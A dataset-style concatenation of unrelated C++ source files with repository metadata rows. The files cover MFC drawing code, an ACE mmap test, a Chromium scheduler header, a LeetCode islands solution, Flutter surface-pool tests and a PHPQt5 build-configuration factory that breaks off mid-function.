#include <tr1/unordered_map>
namespace pb
{
class CMfcAppContext
: public IAppContext
{
public:
CMfcAppContext();
virtual ~CMfcAppContext();
virtual void addEntry(FormEntry* pEntry, void* pTarget);
virtual void RequestDispatch(Request& request, evwork::IConn* pConn);
protected:
virtual void DefaultDispatch(Request& request, evwork::IConn* pConn);
protected:
typedef std::tr1::unordered_map<PB_CMD_TYPE, FormEntry*> ENTRY_MAP_t;
ENTRY_MAP_t m_mapEntry;
};
}
| [
"oasangqi@163.com"
] | oasangqi@163.com |
8184cc15dc9788c4d6daacb217b939d73f21f965 | 4a77a2516be870a9a5870d790c28e3ee3f2901c1 | /第8周实验合集/Week8_2/Week8_2/Week8_2View.cpp | b09475fbb9879bbc9b0696186192b9184e10640c | [] | no_license | JIANG-LP/201812300105 | 84a1b1d4b9a5b5d5bf4e8f8cc607c8eb1fe3f4f4 | a923b0ffaefa60ead1033b06a6838bdbd66a10db | refs/heads/master | 2021-02-14T15:10:35.869102 | 2020-07-05T06:37:33 | 2020-07-05T06:37:33 | 244,814,097 | 0 | 0 | null | null | null | null | GB18030 | C++ | false | false | 4,029 | cpp |
// Week8_2View.cpp : CWeek8_2View 类的实现
//
#include "stdafx.h"
// SHARED_HANDLERS 可以在实现预览、缩略图和搜索筛选器句柄的
// ATL 项目中进行定义,并允许与该项目共享文档代码。
#ifndef SHARED_HANDLERS
#include "Week8_2.h"
#endif
#include "Week8_2Doc.h"
#include "Week8_2View.h"
#include "mdlg_1.h"
#include "mdlg_2.h"
#include "resource.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
// CWeek8_2View
IMPLEMENT_DYNCREATE(CWeek8_2View, CView)
BEGIN_MESSAGE_MAP(CWeek8_2View, CView)
ON_WM_LBUTTONDOWN()
ON_WM_MBUTTONUP()
ON_WM_MOUSEMOVE()
ON_COMMAND(ID_32771, &CWeek8_2View::OnEclipse)
ON_COMMAND(ID_color, &CWeek8_2View::OnColor)
END_MESSAGE_MAP()
// CWeek8_2View 构造/析构
CWeek8_2View::CWeek8_2View()
{
// TODO: 在此处添加构造代码
red = 249;
green = 224;
blue = 170;
width = 10;
}
CWeek8_2View::~CWeek8_2View()
{
}
BOOL CWeek8_2View::PreCreateWindow(CREATESTRUCT& cs)
{
// TODO: 在此处通过修改
// CREATESTRUCT cs 来修改窗口类或样式
return CView::PreCreateWindow(cs);
}
// CWeek8_2View 绘制
void CWeek8_2View::OnDraw(CDC* pDC)
{
CWeek8_2Doc* pDoc = GetDocument();
ASSERT_VALID(pDoc);
if (!pDoc)
return;
//第(1)题
CPen newpen(PS_SOLID, width, color);
CPen *oldpen = pDC->SelectObject(&newpen);
CBrush *pBrush = new CBrush;
CBrush *pOldBrh;
pBrush->CreateSolidBrush(RGB(red, green, blue));
pOldBrh = pDC->SelectObject(pBrush);
pDC->SelectObject(oldpen);
pDC->Ellipse(cr);
if (flag == 0)
{
cr.left = 0;
cr.right = 0;
cr.top = 0;
cr.bottom = 0;
}
// TODO: 在此处为本机数据添加绘制代码
}
// CWeek8_2View 诊断
#ifdef _DEBUG
void CWeek8_2View::AssertValid() const
{
CView::AssertValid();
}
void CWeek8_2View::Dump(CDumpContext& dc) const
{
CView::Dump(dc);
}
CWeek8_2Doc* CWeek8_2View::GetDocument() const // 非调试版本是内联的
{
ASSERT(m_pDocument->IsKindOf(RUNTIME_CLASS(CWeek8_2Doc)));
return (CWeek8_2Doc*)m_pDocument;
}
#endif //_DEBUG
// CWeek8_2View 消息处理程序
void CWeek8_2View::OnLButtonDown(UINT nFlags, CPoint point)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
cr.left = point.x;
cr.top = point.y;
if (point.x >= dr.left&&point.x <= dr.right&&point.y >= dr.top&&point.y <= dr.bottom)
{
CClientDC dc(this);
CPen newpen(PS_DASH,1,RGB(0,0,0));
CPen *oldpen = dc.SelectObject(&newpen);
CBrush * pOldBrush = NULL;
CBrush * pBrush = CBrush::FromHandle((HBRUSH)GetStockObject(NULL_BRUSH));//背景透明效果
pOldBrush = dc.SelectObject(pBrush);
dc.Rectangle(dr);
dc.SelectObject(oldpen);
newpen.DeleteObject();
//InvalidateRect(NULL,false);
}
CView::OnLButtonDown(nFlags, point);
}
void CWeek8_2View::OnMButtonUp(UINT nFlags, CPoint point)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
flag = 0;
CView::OnMButtonUp(nFlags, point);
}
void CWeek8_2View::OnMouseMove(UINT nFlags, CPoint point)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
if (nFlags&MK_LBUTTON) {
cr.right = point.x;
cr.bottom = point.y;
blue = point.x - 50;
red = point.y - 50;
Invalidate();
flag = 1;
}
CView::OnMouseMove(nFlags, point);
}
void CWeek8_2View::OnEclipse()
{
// TODO: 在此添加命令处理程序代码
mdlg_1 dlg1;
int m = dlg1.DoModal();
this->UpdateData(true);
if(m==IDOK)
{
CClientDC dc(this);
dr.left = dlg1.left;
dr.right = dlg1.right;
dr.top = dlg1.top;
dr.bottom = dlg1.bottom;
dc.Ellipse(dr);
}
this->UpdateData(false);
}
void CWeek8_2View::OnColor()//颜色值
{
// TODO: 在此添加命令处理程序代码
mdlg_2 dlg2;
int n = dlg2.DoModal();
if(n==IDOK)
{
CClientDC dc(this);
CPen newpen(PS_SOLID, 1, RGB(dlg2.red, dlg2.green, dlg2.blue));
CPen *oldpen = dc.SelectObject(&newpen);
CBrush *pBrush = new CBrush;
CBrush *pOldBrh;
pBrush->CreateSolidBrush(RGB(red, green, blue));
pOldBrh = dc.SelectObject(pBrush);
dc.SelectObject(oldpen);
dc.Ellipse(dr);
}
}
| [
"2622918191@qq.com"
] | 2622918191@qq.com |
b497a070e84cb0c795f217efb01f71db7b8d03fb | b75746d852236a867a72f717efcacb9a3e141250 | /tests/Bug_3500_Regression_Test.cpp | 60c15826832a32e15be020eea6e4de9267e642ae | [] | no_license | longfem/ACE-toolkit | e8c94cc1d75a2930ceba78dac13d1b84c0efecc8 | c1fedd5f2033951eee9ecf898f6f2b75584aaefc | refs/heads/master | 2021-06-01T06:54:56.916537 | 2016-08-17T14:36:01 | 2016-08-17T14:36:01 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,290 | cpp | /**
* @file Bug_3500_Regression_Test.cpp
*
* Reproduces the problems reported in bug 3500:
* http://deuce.doc.wustl.edu/bugzilla/show_bug.cgi?id=3500
*
* @author Bill Rizzi <rizzi@softserv.com>
*/
#include "ace/OS_NS_sys_mman.h"
#include "ace/SString.h"
#include "test_config.h"
int
run_main (int, ACE_TCHAR *[])
{
ACE_START_TEST (ACE_TEXT ("Bug_3500_Regression_Test"));
int ret = 0;
#if defined(ACE_WIN32) && !defined (ACE_LACKS_MMAP)
ACE_HANDLE handle = ACE_INVALID_HANDLE;
ACE_TString name(ACE_TEXT ("Bug3500"));
void *mmap =
ACE_OS::mmap(0, // addr
28, // len
PAGE_READWRITE, // prot
MAP_SHARED, // flags
ACE_INVALID_HANDLE, // file_handle
0, // off
&handle, // file_mapping
0, // sa
name.c_str()); // shared memory name
if (mmap == MAP_FAILED)
{
ret = -1;
}
#endif
if (0 != ret)
{
ACE_ERROR ((LM_ERROR,
ACE_TEXT ("ACE_OS::mmap() %p\n"),
ACE_TEXT ("failed")));
}
ACE_END_TEST;
return 0;
}
| [
"yehonal.azeroth@gmail.com"
] | yehonal.azeroth@gmail.com |
a7b2db22dd6b7740a19bb0c02d1c92cc300e9bd1 | 462fd31fcdbc4b25b20cfe35ec119ac1db60fe00 | /components/scheduler/base/time_domain.h | e14eb0349bce9b17d4b96d133e809b14348b8c2d | [
"BSD-3-Clause"
] | permissive | sandwichandtoast/chromium | 6f65efa55a1c02cface02e5b641c751a57eaae94 | 8477524140c1fbe839eefe6f79ef71fd097da32f | refs/heads/master | 2023-01-13T12:57:04.375740 | 2016-01-10T04:03:01 | 2016-01-10T04:05:09 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 5,449 | h | // Copyright 2015 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef COMPONENTS_SCHEDULER_BASE_TIME_DOMAIN_H_
#define COMPONENTS_SCHEDULER_BASE_TIME_DOMAIN_H_
#include <map>
#include "base/callback.h"
#include "base/macros.h"
#include "base/memory/ref_counted.h"
#include "base/memory/weak_ptr.h"
#include "base/time/time.h"
#include "components/scheduler/base/lazy_now.h"
#include "components/scheduler/base/task_queue_impl.h"
#include "components/scheduler/scheduler_export.h"
namespace scheduler {
namespace internal {
class TaskQueueImpl;
} // internal
class TaskQueueManager;
class TaskQueueManagerDelegate;
class SCHEDULER_EXPORT TimeDomain {
public:
class SCHEDULER_EXPORT Observer {
public:
virtual ~Observer() {}
// Called when an empty TaskQueue registered with this TimeDomain has a task
// enqueued.
virtual void OnTimeDomainHasImmediateWork() = 0;
// Called when a TaskQueue registered with this TimeDomain has a delayed
// task enqueued and no other delayed tasks associated with this TimeDomain
// are pending.
virtual void OnTimeDomainHasDelayedWork() = 0;
};
explicit TimeDomain(Observer* observer);
virtual ~TimeDomain();
// Returns a LazyNow that evaluate this TimeDomain's Now. Can be called from
// any thread.
// TODO(alexclarke): Make this main thread only.
virtual LazyNow CreateLazyNow() = 0;
// Some TimeDomains support virtual time, this method tells us to advance time
// if possible and return true if time was advanced.
virtual bool MaybeAdvanceTime() = 0;
// Returns the name of this time domain for tracing.
virtual const char* GetName() const = 0;
// If there is a scheduled delayed task, |out_time| is set to the scheduled
// runtime for the next one and it returns true. Returns false otherwise.
bool NextScheduledRunTime(base::TimeTicks* out_time) const;
protected:
friend class internal::TaskQueueImpl;
friend class TaskQueueManager;
void AsValueInto(base::trace_event::TracedValue* state) const;
// Migrates |queue| from this time domain to |destination_time_domain|.
void MigrateQueue(internal::TaskQueueImpl* queue,
TimeDomain* destination_time_domain);
// If there is a scheduled delayed task, |out_task_queue| is set to the queue
// the next task was posted to and it returns true. Returns false otherwise.
bool NextScheduledTaskQueue(TaskQueue** out_task_queue) const;
// Adds |queue| to the set of task queues that UpdateWorkQueues calls
// UpdateWorkQueue on.
void RegisterAsUpdatableTaskQueue(internal::TaskQueueImpl* queue);
// Schedules a call to TaskQueueImpl::MoveReadyDelayedTasksToDelayedWorkQueue
// when this TimeDomain reaches |delayed_run_time|.
void ScheduleDelayedWork(internal::TaskQueueImpl* queue,
base::TimeTicks delayed_run_time,
LazyNow* lazy_now);
// Registers the |queue|.
void RegisterQueue(internal::TaskQueueImpl* queue);
// Removes |queue| from the set of task queues that UpdateWorkQueues calls
// UpdateWorkQueue on.
void UnregisterAsUpdatableTaskQueue(internal::TaskQueueImpl* queue);
// Removes |queue| from all internal data structures.
void UnregisterQueue(internal::TaskQueueImpl* queue);
// Updates active queues associated with this TimeDomain.
void UpdateWorkQueues(bool should_trigger_wakeup,
const internal::TaskQueueImpl::Task* previous_task);
// Called by the TaskQueueManager when the TimeDomain is registered.
virtual void OnRegisterWithTaskQueueManager(
TaskQueueManager* task_queue_manager) = 0;
// The implementaion will secedule task processing to run with |delay| with
// respect to the TimeDomain's time source. Always called on the main thread.
virtual void RequestWakeup(LazyNow* lazy_now, base::TimeDelta delay) = 0;
// For implementation specific tracing.
virtual void AsValueIntoInternal(
base::trace_event::TracedValue* state) const = 0;
// Call TaskQueueImpl::UpdateDelayedWorkQueue for each queue where the delay
// has elapsed.
void WakeupReadyDelayedQueues(
LazyNow* lazy_now,
bool should_trigger_wakeup,
const internal::TaskQueueImpl::Task* previous_task);
protected:
// Clears expired entries from |delayed_wakeup_multimap_|. Caution needs to be
// taken to ensure TaskQueueImpl::UpdateDelayedWorkQueue or
// TaskQueueImpl::Pump is called on the affected queues.
void ClearExpiredWakeups();
private:
void MoveNewlyUpdatableQueuesIntoUpdatableQueueSet();
typedef std::multimap<base::TimeTicks, internal::TaskQueueImpl*>
DelayedWakeupMultimap;
DelayedWakeupMultimap delayed_wakeup_multimap_;
// This lock guards only |newly_updatable_|. It's not expected to be heavily
// contended.
base::Lock newly_updatable_lock_;
std::vector<internal::TaskQueueImpl*> newly_updatable_;
// Set of task queues with avaliable work on the incoming queue. This should
// only be accessed from the main thread.
std::set<internal::TaskQueueImpl*> updatable_queue_set_;
std::set<internal::TaskQueueImpl*> registered_task_queues_;
Observer* observer_;
base::ThreadChecker main_thread_checker_;
DISALLOW_COPY_AND_ASSIGN(TimeDomain);
};
} // namespace scheduler
#endif // COMPONENTS_SCHEDULER_BASE_TIME_DOMAIN_H_
| [
"commit-bot@chromium.org"
] | commit-bot@chromium.org |
464ed8ef419ab2c7481c0149683eb3cf06df2c14 | 9dabe472c9e29720df5fd11d65f8f20134138290 | /200.h | 6195d20c62f1ed908e1d3564f78f0c05183b5ac1 | [] | no_license | zhouliyfly/MyLeetCode | aea3a42075a3c1c1008cbbce457c72d6869b1a27 | d618c76c7deff8af4f921130360a28f58b9e8975 | refs/heads/master | 2020-05-29T13:06:34.980899 | 2019-06-01T01:18:29 | 2019-06-01T01:18:29 | 189,149,092 | 0 | 0 | null | null | null | null | GB18030 | C++ | false | false | 1,295 | h | #ifndef _200_H //岛屿数量
#define _200_H
#include <vector>
// 可能只是递归(DFS),不算标准回溯
class Solution_200 {
public:
int numIslands(std::vector<std::vector<char>>& grid) {
if (grid.empty())
return 0;
visited = std::vector<std::vector<bool>>(grid.size(), std::vector<bool>(grid[0].size(), false));
count = 0;
for (size_t i = 0; i != grid.size(); ++i) {
for (size_t j = 0; j != grid[i].size(); ++j) {
if (grid[i][j] == '1' && !visited[i][j]) {
dfs(grid, i, j);
count++;
}
}
}
return count;
}
private:
void dfs(std::vector<std::vector<char>>& grid, size_t x, size_t y) {
visited[x][y] = true;
for (size_t i = 0; i != direct.size(); ++i) {
size_t newX = x + direct[i][0];
size_t newY = y + direct[i][1];
if (isAvalible(grid, newX, newY) && !visited[newX][newY]
&& grid[newX][newY] == '1') {
dfs(grid, newX, newY);
}
}
}
bool isAvalible(std::vector<std::vector<char>>& grid, size_t x, size_t y) {
if (x >= grid.size())
return false;
if (y >= grid[0].size())
return false;
return true;
}
private:
std::array<std::array<int, 2>, 4> direct = {
-1,0, // 上
0,1, // 右
1,0, // 下
0,-1 // 左
};
std::vector<std::vector<bool>> visited;
int count{0};
};
#endif // !_200_H
| [
"zhoulihebe@163.com"
] | zhoulihebe@163.com |
bd32d39c898a55103c6c7b796253d9ca2323cc10 | 0b98befdd49f707ed1923703bcdac9740bb4d699 | /uni/C++/prog 2/szorgalmik/hf10/f10_main.cc | 29e36e2d5389b793bbbea912fcf3b5a87a1a9de5 | [] | no_license | jbebe/all-my-projects | a957f2ae70d3ca09d49e1efc52c3cd9f6f786094 | 32a8b12b17d48c0138005eb54cb1ed9745baa737 | refs/heads/master | 2021-01-10T08:55:55.291099 | 2015-05-29T20:16:05 | 2015-05-29T20:16:05 | 35,968,468 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 520 | cc | /**
* foprogram az F10 osztaly kiprobalasahoz.
* Juhasz Balint, CGQ956 reszere
* Datum: 2014-03-15 12:01:44
* Ez az allomany tetszes szerint modosithato
*/
#include <iostream>
#include "f10.h"
using namespace std;
int main() {
F10 a, c;
cout << a.ident() << endl;
cout << a.match("xxa asalak as \n") << endl;
for (int i = 0; i < 5; i ++) {
F10 b = a;
cout << b.match(" csucsbol ") << endl;
}
F10 b = a;
a = a;
c = b;
cout << c.getLine();
fflush(stdin);
getchar();
return 0;
}
| [
"juhasz.balint.bebe@gmail.com"
] | juhasz.balint.bebe@gmail.com |
1ec23e54fca52b9be76f0fa280184a6b453e65c1 | 2b0fe0b3e82cc2f98abd52df02b33b370cc5e010 | /shell/platform/android/external_view_embedder/surface_pool_unittests.cc | caebb97f4fd039153e477f590a9a2f529dd1db03 | [
"BSD-3-Clause"
] | permissive | ColdPaleLight/engine | cae46e4773d364e528708fa26674b614de7e0078 | fb4a86ce1ce98761ff6b5830dc2c2fa862592922 | refs/heads/master | 2023-06-28T06:22:30.255276 | 2022-01-04T09:35:10 | 2022-01-04T09:35:10 | 166,998,752 | 2 | 1 | BSD-3-Clause | 2022-01-05T03:03:35 | 2019-01-22T13:27:03 | C++ | UTF-8 | C++ | false | false | 10,443 | cc | // Copyright 2013 The Flutter Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include <memory>
#include "flutter/shell/platform/android/external_view_embedder/surface_pool.h"
#include "flutter/fml/make_copyable.h"
#include "flutter/shell/platform/android/jni/jni_mock.h"
#include "flutter/shell/platform/android/surface/android_surface_mock.h"
#include "gmock/gmock.h"
#include "gtest/gtest.h"
#include "third_party/skia/include/gpu/GrDirectContext.h"
namespace flutter {
namespace testing {
using ::testing::ByMove;
using ::testing::Return;
class TestAndroidSurfaceFactory : public AndroidSurfaceFactory {
public:
using TestSurfaceProducer =
std::function<std::unique_ptr<AndroidSurface>(void)>;
explicit TestAndroidSurfaceFactory(TestSurfaceProducer&& surface_producer) {
surface_producer_ = surface_producer;
}
~TestAndroidSurfaceFactory() override = default;
std::unique_ptr<AndroidSurface> CreateSurface() override {
return surface_producer_();
}
private:
TestSurfaceProducer surface_producer_;
};
TEST(SurfacePool, GetLayerAllocateOneLayer) {
auto pool = std::make_unique<SurfacePool>();
auto gr_context = GrDirectContext::MakeMock(nullptr);
auto android_context =
std::make_shared<AndroidContext>(AndroidRenderingAPI::kSoftware);
auto jni_mock = std::make_shared<JNIMock>();
auto window = fml::MakeRefCounted<AndroidNativeWindow>(nullptr);
EXPECT_CALL(*jni_mock, FlutterViewCreateOverlaySurface())
.WillOnce(Return(
ByMove(std::make_unique<PlatformViewAndroidJNI::OverlayMetadata>(
0, window))));
auto surface_factory = std::make_shared<TestAndroidSurfaceFactory>(
[&android_context, gr_context, window]() {
auto android_surface_mock =
std::make_unique<AndroidSurfaceMock>(android_context);
EXPECT_CALL(*android_surface_mock, CreateGPUSurface(gr_context.get()));
EXPECT_CALL(*android_surface_mock, SetNativeWindow(window));
EXPECT_CALL(*android_surface_mock, IsValid()).WillOnce(Return(true));
return android_surface_mock;
});
auto layer = pool->GetLayer(gr_context.get(), *android_context, jni_mock,
surface_factory);
ASSERT_NE(nullptr, layer);
ASSERT_EQ(reinterpret_cast<intptr_t>(gr_context.get()),
layer->gr_context_key);
}
TEST(SurfacePool, GetUnusedLayers) {
auto pool = std::make_unique<SurfacePool>();
auto gr_context = GrDirectContext::MakeMock(nullptr);
auto android_context =
std::make_shared<AndroidContext>(AndroidRenderingAPI::kSoftware);
auto jni_mock = std::make_shared<JNIMock>();
auto window = fml::MakeRefCounted<AndroidNativeWindow>(nullptr);
EXPECT_CALL(*jni_mock, FlutterViewCreateOverlaySurface())
.WillOnce(Return(
ByMove(std::make_unique<PlatformViewAndroidJNI::OverlayMetadata>(
0, window))));
auto surface_factory = std::make_shared<TestAndroidSurfaceFactory>(
[&android_context, gr_context, window]() {
auto android_surface_mock =
std::make_unique<AndroidSurfaceMock>(android_context);
EXPECT_CALL(*android_surface_mock, CreateGPUSurface(gr_context.get()));
EXPECT_CALL(*android_surface_mock, SetNativeWindow(window));
EXPECT_CALL(*android_surface_mock, IsValid()).WillOnce(Return(true));
return android_surface_mock;
});
auto layer = pool->GetLayer(gr_context.get(), *android_context, jni_mock,
surface_factory);
ASSERT_EQ(0UL, pool->GetUnusedLayers().size());
pool->RecycleLayers();
ASSERT_EQ(1UL, pool->GetUnusedLayers().size());
ASSERT_EQ(layer, pool->GetUnusedLayers()[0]);
}
TEST(SurfacePool, GetLayerRecycle) {
auto pool = std::make_unique<SurfacePool>();
auto gr_context_1 = GrDirectContext::MakeMock(nullptr);
auto jni_mock = std::make_shared<JNIMock>();
auto window = fml::MakeRefCounted<AndroidNativeWindow>(nullptr);
EXPECT_CALL(*jni_mock, FlutterViewCreateOverlaySurface())
.WillOnce(Return(
ByMove(std::make_unique<PlatformViewAndroidJNI::OverlayMetadata>(
0, window))));
auto android_context =
std::make_shared<AndroidContext>(AndroidRenderingAPI::kSoftware);
auto gr_context_2 = GrDirectContext::MakeMock(nullptr);
auto surface_factory = std::make_shared<TestAndroidSurfaceFactory>(
[&android_context, gr_context_1, gr_context_2, window]() {
auto android_surface_mock =
std::make_unique<AndroidSurfaceMock>(android_context);
// Allocate two GPU surfaces for each gr context.
EXPECT_CALL(*android_surface_mock,
CreateGPUSurface(gr_context_1.get()));
EXPECT_CALL(*android_surface_mock,
CreateGPUSurface(gr_context_2.get()));
// Set the native window once.
EXPECT_CALL(*android_surface_mock, SetNativeWindow(window));
EXPECT_CALL(*android_surface_mock, IsValid()).WillOnce(Return(true));
return android_surface_mock;
});
auto layer_1 = pool->GetLayer(gr_context_1.get(), *android_context, jni_mock,
surface_factory);
pool->RecycleLayers();
auto layer_2 = pool->GetLayer(gr_context_2.get(), *android_context, jni_mock,
surface_factory);
ASSERT_NE(nullptr, layer_1);
ASSERT_EQ(layer_1, layer_2);
ASSERT_EQ(reinterpret_cast<intptr_t>(gr_context_2.get()),
layer_1->gr_context_key);
ASSERT_EQ(reinterpret_cast<intptr_t>(gr_context_2.get()),
layer_2->gr_context_key);
}
TEST(SurfacePool, GetLayerAllocateTwoLayers) {
auto pool = std::make_unique<SurfacePool>();
auto gr_context = GrDirectContext::MakeMock(nullptr);
auto android_context =
std::make_shared<AndroidContext>(AndroidRenderingAPI::kSoftware);
auto jni_mock = std::make_shared<JNIMock>();
auto window = fml::MakeRefCounted<AndroidNativeWindow>(nullptr);
EXPECT_CALL(*jni_mock, FlutterViewCreateOverlaySurface())
.Times(2)
.WillOnce(Return(
ByMove(std::make_unique<PlatformViewAndroidJNI::OverlayMetadata>(
0, window))))
.WillOnce(Return(
ByMove(std::make_unique<PlatformViewAndroidJNI::OverlayMetadata>(
1, window))));
auto surface_factory = std::make_shared<TestAndroidSurfaceFactory>(
[&android_context, gr_context, window]() {
auto android_surface_mock =
std::make_unique<AndroidSurfaceMock>(android_context);
EXPECT_CALL(*android_surface_mock, CreateGPUSurface(gr_context.get()));
EXPECT_CALL(*android_surface_mock, SetNativeWindow(window));
EXPECT_CALL(*android_surface_mock, IsValid()).WillOnce(Return(true));
return android_surface_mock;
});
auto layer_1 = pool->GetLayer(gr_context.get(), *android_context, jni_mock,
surface_factory);
auto layer_2 = pool->GetLayer(gr_context.get(), *android_context, jni_mock,
surface_factory);
ASSERT_NE(nullptr, layer_1);
ASSERT_NE(nullptr, layer_2);
ASSERT_NE(layer_1, layer_2);
ASSERT_EQ(0, layer_1->id);
ASSERT_EQ(1, layer_2->id);
}
TEST(SurfacePool, DestroyLayers) {
auto pool = std::make_unique<SurfacePool>();
auto jni_mock = std::make_shared<JNIMock>();
EXPECT_CALL(*jni_mock, FlutterViewDestroyOverlaySurfaces()).Times(0);
pool->DestroyLayers(jni_mock);
auto gr_context = GrDirectContext::MakeMock(nullptr);
auto android_context =
std::make_shared<AndroidContext>(AndroidRenderingAPI::kSoftware);
auto window = fml::MakeRefCounted<AndroidNativeWindow>(nullptr);
EXPECT_CALL(*jni_mock, FlutterViewCreateOverlaySurface())
.Times(1)
.WillOnce(Return(
ByMove(std::make_unique<PlatformViewAndroidJNI::OverlayMetadata>(
0, window))));
auto surface_factory = std::make_shared<TestAndroidSurfaceFactory>(
[&android_context, gr_context, window]() {
auto android_surface_mock =
std::make_unique<AndroidSurfaceMock>(android_context);
EXPECT_CALL(*android_surface_mock, CreateGPUSurface(gr_context.get()));
EXPECT_CALL(*android_surface_mock, SetNativeWindow(window));
EXPECT_CALL(*android_surface_mock, IsValid()).WillOnce(Return(true));
return android_surface_mock;
});
pool->GetLayer(gr_context.get(), *android_context, jni_mock, surface_factory);
EXPECT_CALL(*jni_mock, FlutterViewDestroyOverlaySurfaces());
pool->DestroyLayers(jni_mock);
pool->RecycleLayers();
ASSERT_TRUE(pool->GetUnusedLayers().empty());
}
TEST(SurfacePool, DestroyLayersFrameSizeChanged) {
auto pool = std::make_unique<SurfacePool>();
auto jni_mock = std::make_shared<JNIMock>();
auto gr_context = GrDirectContext::MakeMock(nullptr);
auto android_context =
std::make_shared<AndroidContext>(AndroidRenderingAPI::kSoftware);
auto window = fml::MakeRefCounted<AndroidNativeWindow>(nullptr);
auto surface_factory = std::make_shared<TestAndroidSurfaceFactory>(
[&android_context, gr_context, window]() {
auto android_surface_mock =
std::make_unique<AndroidSurfaceMock>(android_context);
EXPECT_CALL(*android_surface_mock, CreateGPUSurface(gr_context.get()));
EXPECT_CALL(*android_surface_mock, SetNativeWindow(window));
EXPECT_CALL(*android_surface_mock, IsValid()).WillOnce(Return(true));
return android_surface_mock;
});
pool->SetFrameSize(SkISize::Make(10, 10));
EXPECT_CALL(*jni_mock, FlutterViewDestroyOverlaySurfaces()).Times(0);
EXPECT_CALL(*jni_mock, FlutterViewCreateOverlaySurface())
.Times(1)
.WillOnce(Return(
ByMove(std::make_unique<PlatformViewAndroidJNI::OverlayMetadata>(
0, window))));
pool->GetLayer(gr_context.get(), *android_context, jni_mock, surface_factory);
pool->SetFrameSize(SkISize::Make(20, 20));
EXPECT_CALL(*jni_mock, FlutterViewDestroyOverlaySurfaces()).Times(1);
EXPECT_CALL(*jni_mock, FlutterViewCreateOverlaySurface())
.Times(1)
.WillOnce(Return(
ByMove(std::make_unique<PlatformViewAndroidJNI::OverlayMetadata>(
1, window))));
pool->GetLayer(gr_context.get(), *android_context, jni_mock, surface_factory);
ASSERT_TRUE(pool->GetUnusedLayers().empty());
}
} // namespace testing
} // namespace flutter
| [
"noreply@github.com"
] | noreply@github.com |
f7c606159cc0e7440484c884a6df020cb77b2089 | e079b72d1566f1da9b4050acb19837f137c719fa | /phpqt5buildconfigurationfactory.cpp | dee91c624ad4560c18467ff7df8561cc5c8d2166 | [] | no_license | wxmaper/phpqt5plugin | a670d984ee874fb4777971a5b4a51dce5aa133d4 | dd1353a482df8b150b75a00eb64278814f60f88a | refs/heads/master | 2020-12-30T13:20:35.874881 | 2017-05-13T21:28:54 | 2017-05-13T21:28:54 | 91,202,744 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 9,747 | cpp | #include "phpqt5buildconfigurationfactory.h"
#include "phpqt5buildconfiguration.h"
#include "phpqt5makebuildstep.h"
#include "phpqt5qmakebuildstep.h"
#include "phpqt5makecleanstep.h"
#include "jomBuildStep/phpqt5jombuildstep.h"
#include "uicBuildStep/phpqt5uicbuildstep.h"
#include "PHPQt5project.h"
#include "phpqt5constants.h"
#include <coreplugin/documentmanager.h>
#include <projectexplorer/buildconfiguration.h>
#include <projectexplorer/buildinfo.h>
#include <projectexplorer/buildsteplist.h>
#include <projectexplorer/buildstep.h>
#include <projectexplorer/kit.h>
#include <projectexplorer/projectexplorerconstants.h>
#include <projectexplorer/projectmacroexpander.h>
#include <projectexplorer/target.h>
#include <utils/mimetypes/mimedatabase.h>
#include <utils/qtcassert.h>
#include <memory>
using namespace ProjectExplorer;
using namespace Utils;
namespace PHPQt5 {
PHPQt5BuildConfigurationFactory::PHPQt5BuildConfigurationFactory(QObject *parent)
: IBuildConfigurationFactory(parent)
{}
QList<BuildInfo *> PHPQt5BuildConfigurationFactory::availableBuilds(const Target *parent) const
{
// Retrieve the project path
auto project = qobject_cast<PHPQt5Project *>(parent->project());
QTC_ASSERT(project, return {});
// Create the build info
BuildInfo *info = createBuildInfo(parent->kit(), project->projectFilePath().toString(),
BuildConfiguration::Debug);
info->displayName.clear(); // ask for a name
info->buildDirectory.clear(); // This depends on the displayName
return { info };
}
QList<BuildInfo *> PHPQt5BuildConfigurationFactory::availableSetups(const Kit *k, const QString &projectPath) const
{
BuildInfo *debug = createBuildInfo(k, projectPath, BuildConfiguration::Debug);
BuildInfo *release = createBuildInfo(k, projectPath, BuildConfiguration::Release);
return { debug, release };
}
BuildConfiguration *PHPQt5BuildConfigurationFactory::create(Target *parent, const BuildInfo *info) const
{
PHPQt5Project *project = qobject_cast<PHPQt5Project *>(parent->project());
QTC_ASSERT(project, return nullptr);
// Create the build configuration and initialize it from build info
PHPQt5BuildConfiguration *result = new PHPQt5BuildConfiguration(parent);
result->setDisplayName(info->displayName);
result->setDefaultDisplayName(info->displayName);
result->setBuildDirectory(defaultBuildDirectory(parent->kit(),
project->projectFilePath().toString(),
info->displayName,
info->buildType));
result->setBuildType(info->buildType);
// Add PHPQt5Make build step
{
BuildStepList *buildSteps = result->stepList(Core::Id(ProjectExplorer::Constants::BUILDSTEPS_BUILD));
PHPQt5MakeBuildStep *phpqt5MakeBuildStep = new PHPQt5MakeBuildStep(buildSteps);
PHPQt5MakeBuildStep::DefaultBuildOptions defaultOption;
switch (info->buildType) {
case BuildConfiguration::Release:
defaultOption = PHPQt5MakeBuildStep::DefaultBuildOptions::Release;
break;
case BuildConfiguration::Debug:
defaultOption = PHPQt5MakeBuildStep::DefaultBuildOptions::Debug;
break;
default:
defaultOption = PHPQt5MakeBuildStep::DefaultBuildOptions::Empty;
break;
}
phpqt5MakeBuildStep->setDefaultCompilerOptions(defaultOption);
buildSteps->appendStep(phpqt5MakeBuildStep);
}
// Add qmake build step
{
BuildStepList *buildSteps = result->stepList(Core::Id(ProjectExplorer::Constants::BUILDSTEPS_BUILD));
PHPQt5QMakeBuildStep *phpqt5QMakeBuildStep = new PHPQt5QMakeBuildStep(buildSteps);
PHPQt5QMakeBuildStep::DefaultBuildOptions defaultOption;
switch (info->buildType) {
case BuildConfiguration::Release:
defaultOption = PHPQt5QMakeBuildStep::DefaultBuildOptions::Release;
break;
case BuildConfiguration::Debug:
defaultOption = PHPQt5QMakeBuildStep::DefaultBuildOptions::Debug;
break;
default:
defaultOption = PHPQt5QMakeBuildStep::DefaultBuildOptions::Empty;
break;
}
